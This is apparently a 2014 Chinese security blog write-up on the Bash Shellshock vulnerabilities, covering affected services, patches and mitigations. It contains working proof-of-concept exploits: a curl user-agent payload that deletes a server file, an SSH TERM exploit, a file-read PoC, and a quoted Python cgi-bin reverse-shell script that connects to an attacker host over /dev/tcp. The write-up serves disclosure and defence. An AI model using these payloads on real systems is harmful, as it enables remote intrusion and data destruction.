Bash Shellshock事件:CVE-2014-6271资料汇总
| 2014-09-26 21:33 评论: 3 收藏: 2 分享: 6
[sth0r@shawn-fortress]$ uname -a Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux |=-----------------------------------------------------------------=| |=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=| |=-----------------------------------------------------------------=| |=------------------------[ #4 File 0x07 ]-------------------------=| |=-----------------------------------------------------------------=| |=-------------------=[ Bash Shellshock事件: ]=--------------------=| |=-------------------=[ CVE-2014-6271资料汇总]=--------------------=| |=-----------------------------------------------------------------=| |=---------------------=[ By Shawn the R0ck ]=---------------------=| |=-----------------------------------------------------------------=| |=-----------------------=[ Sep 25 2014 ]=------------------------=| |=-----------------------------------------------------------------=|
--[ Content
0. What is BASH
1. CVE-2014-6271
2. Incomplete patch
3. Mitigation
4. Story to be continued...
5. References
--[ 0. 什么是BASH
Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。
--[ 1. CVE-2014-6271
法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:
- 在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
- Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用 os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。
- PHP脚本执行在mod_php不会受影响。
- DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
- 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
- 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。
我们先来看一个简单的POC:
1,本地SHELL环境中测试是否有漏洞:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞会打印"vulnerable"。
2,C程序:
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */ #include <unistd.h> #include <stdio.h> int main() { char *envp[] = { "PATH=/bin:/usr/bin", "/usr/bin/id=() { " "echo pwn me twice, shame on me; }; " "echo pwn me once, shame on you", NULL }; char *argv[] = { "/bin/bash", NULL }; execve(argv[0], argv, envp); perror("execve"); return 1; } je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c je@tiny:~$ ./bash-is-fun pwn me once, shame on you je@tiny:/home/je$ /usr/bin/id pwn me twice, shame on me
这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。
3,INVISIBLETHREAT上对于HTTP环境的测试:
创建一个脚本叫poc.cgi:
#!/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">' echo '<title>PoC</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</html>' exit 0
把脚本放入测试机后,输入:
$ curl http://192.168.0.1/poc.cgi <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>PoC</title> </head> <body> <pre> SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address> HTTP_USER_AGENT=curl/7.26.0 SERVER_PORT=80 HTTP_HOST=192.168.0.1 DOCUMENT_ROOT=/var/www SCRIPT_FILENAME=/var/www/poc.cgi REQUEST_URI=/poc.cgi SCRIPT_NAME=/poc.cgi REMOTE_PORT=40974 PATH=/usr/local/bin:/usr/bin:/bin PWD=/var/www SERVER_ADMIN=webmaster@localhost HTTP_ACCEPT=*/* REMOTE_ADDR=192.168.0.1 SHLVL=1 SERVER_NAME=192.168.0.1 SERVER_SOFTWARE=Apache/2.2.22 (Debian) QUERY_STRING= SERVER_ADDR=192.168.0.1 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET _=/usr/bin/env </pre> </body> </html>
再来试试使用curl设置一个user-agent玩玩:
$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address> </body></html>
上面已经把/var/www/target给删除了,再来看看:
$ curl http://192.168.0.1/target <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /target was not found on this server.</p> <hr> <address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address> </body></html>
4, 针对OpenSSH的POC
目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651
还有就是针对远程利用的POC,通过利用TERM:
在机器A上生成一对RSA key pair:
shawn@debian-test32:~/.ssh$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/shawn/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/shawn/.ssh/id_rsa. Your public key has been saved in /home/shawn/.ssh/id_rsa.pub. The key fingerprint is: 09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32 The key's randomart image is: +--[ RSA 2048]----+ | ... | | .o . | | ooo | | o +.o. | | = =S. | | . * o E | | o o . + | |. = o o | |oo . . | +-----------------+
把A的公钥拷贝到机器B上:
$cat /home/shawn/.ssh/authorized_keys command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32
一个用于控制command/SSH_ORIGINAL_COMMAND的脚本
shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh #!/bin/sh case "$SSH_ORIGINAL_COMMAND" in "ps") ps -ef ;; "vmstat") vmstat 1 100 ;; "cups stop") /etc/init.d/cupsys stop ;; "cups start") /etc/init.d/cupsys start ;; *) echo "Sorry. Only these commands are available to you:" echo "ps, vmstat, cupsys stop, cupsys start" #exit 1 ;; esac
机器A上可以正常的使用限制脚本:
shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps" shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND Enter passphrase for key '/home/shawn/.ssh/id_rsa': UID PID PPID C STIME TTY TIME CMD root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts root 2 0 0 16:47 ? 00:00:00 [kthreadd] root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]
借助TERM来利用:
shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129 Enter passphrase for key '/home/shawn/.ssh/id_rsa': uid=1000(shawn) gid=100(users) groups=100(users) Connection to 192.168.115.129 closed.
5,DHCP:
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
--[ 2. 补丁情况
从最早GNU/Linux发行版社区收到的补丁: https://bugzilla.novell.com/attachment.cgi?id=606672
可以看出BASH的确没有做异常处理,而直接解析后就执行了。
正式的社区补丁在这里:
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:
shawn@shawn-fortress /tmp $ date -u > test_file shawn@shawn-fortress /tmp $ env X='() { (a)=<\' bash -c 'test_file cat' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' Thu Sep 25 09:37:04 UTC 2014
这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)
UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相
关的升级。
2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:http://www.openwall.com/lists/oss-security/2014/09/26/2
--[ 3. 防御方案
在各种GNU/Linux发行版里需要升级:
Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade
Gentoo:
sudo emerge --sync && glsa-check -f affected
OpenSSH:
加入no-pty
--[ 4. 后续故事
这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:
# #CVE-2014-6271 cgi-bin reverse shell # import httplib,urllib,sys if (len(sys.argv)<4): print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0] exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell } conn.request("GET",sys.argv[2],headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data
的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1
虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html
通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。
--[ 5. References
[1] BASH
http://www.gnu.org/software/bash/
[2] Bash specially-crafted environment variables code injection attack
[3] CVE-2014-6271
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
[4] CVE-2014-7169
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[5] CVE-2014-6271: remote code execution through bash
http://seclists.org/oss-sec/2014/q3/651
[6] SSH, The Secure Shell: The Definitive Guide
http://oreilly.com/catalog/sshtdg/chapter/ch08.html
[7] CVE-2014-6271 cgi-bin reverse shell